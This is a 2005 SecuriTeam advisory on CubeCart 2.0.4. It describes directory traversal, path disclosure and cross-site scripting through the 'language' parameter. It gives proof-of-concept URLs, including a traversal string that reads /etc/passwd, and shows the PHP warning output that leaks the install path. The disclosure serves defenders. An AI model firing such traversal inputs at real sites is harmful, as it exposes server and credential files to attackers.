[UNIX] CubeCart Multiple Vulnerabilities (Directory Traversal, Path Disclosure, XSS)
From: SecuriTeam (support_at_securiteam.com)
Date: 02/17/05
- Previous message: SecuriTeam: "[NT] Sami HTTP Server Directory Traversal and DoS"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 17 Feb 2005 17:52:13 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
CubeCart Multiple Vulnerabilities (Directory Traversal, Path Disclosure,
XSS)
------------------------------------------------------------------------
SUMMARY
<http://www.cubecart.com> CubeCart is "an eCommerce script written with
PHP and MySQL. With CubeCart you can setup a powerful online store as long
as you have hosting supporting PHP and one MySQL database".
Multiple vulnerabilities have been discovered in CubeCart that allow
remote attackers to access files that reside outside the bounding HTML
root directory, disclose the path under which CubeCart has been installed
and cause the product to include arbitrary HTML and/or JavaScript with the
responses it displays to users.
DETAILS
Vulnerable Systems:
* 2.0.4
Directory Traversal
You can travel outside the remote host's bounding HTML root directory by
utilizing the following example:
http://www.victimsite.com/index.php?&language=../../../../../../../../etc/passwd
Path Disclosure
Providing an invalid value to the "language" parameter causes the program
to return the path under which the product has been installed (invalid
values are those that contain numbers and letters).
The following URL:
http://www.victimsite.com/index.php?&language=w00t
Will result in the following content being returned:
Warning: Failed opening
'/var/www/virtual/www.victimsite.com/html/admin/lang/w00t' for inclusion
(include_path='.:/usr/share/pear') in
/var/www/virtual/www.victimsite.com/html/admin/settings.inc.php on line
134
Warning: Cannot add header information - headers already sent by (output
started at
/var/www/virtual/www.victimsite.com/html/admin/settings.inc.php:134) in
/var/www/virtual/www.victimsite.com/html/shoppingcart.php on line 44
Cross Site Scripting
The language parameter can be also used to trigger a cross site scripting
vulnerability:
http://www.victimsite.com/index.php?&language=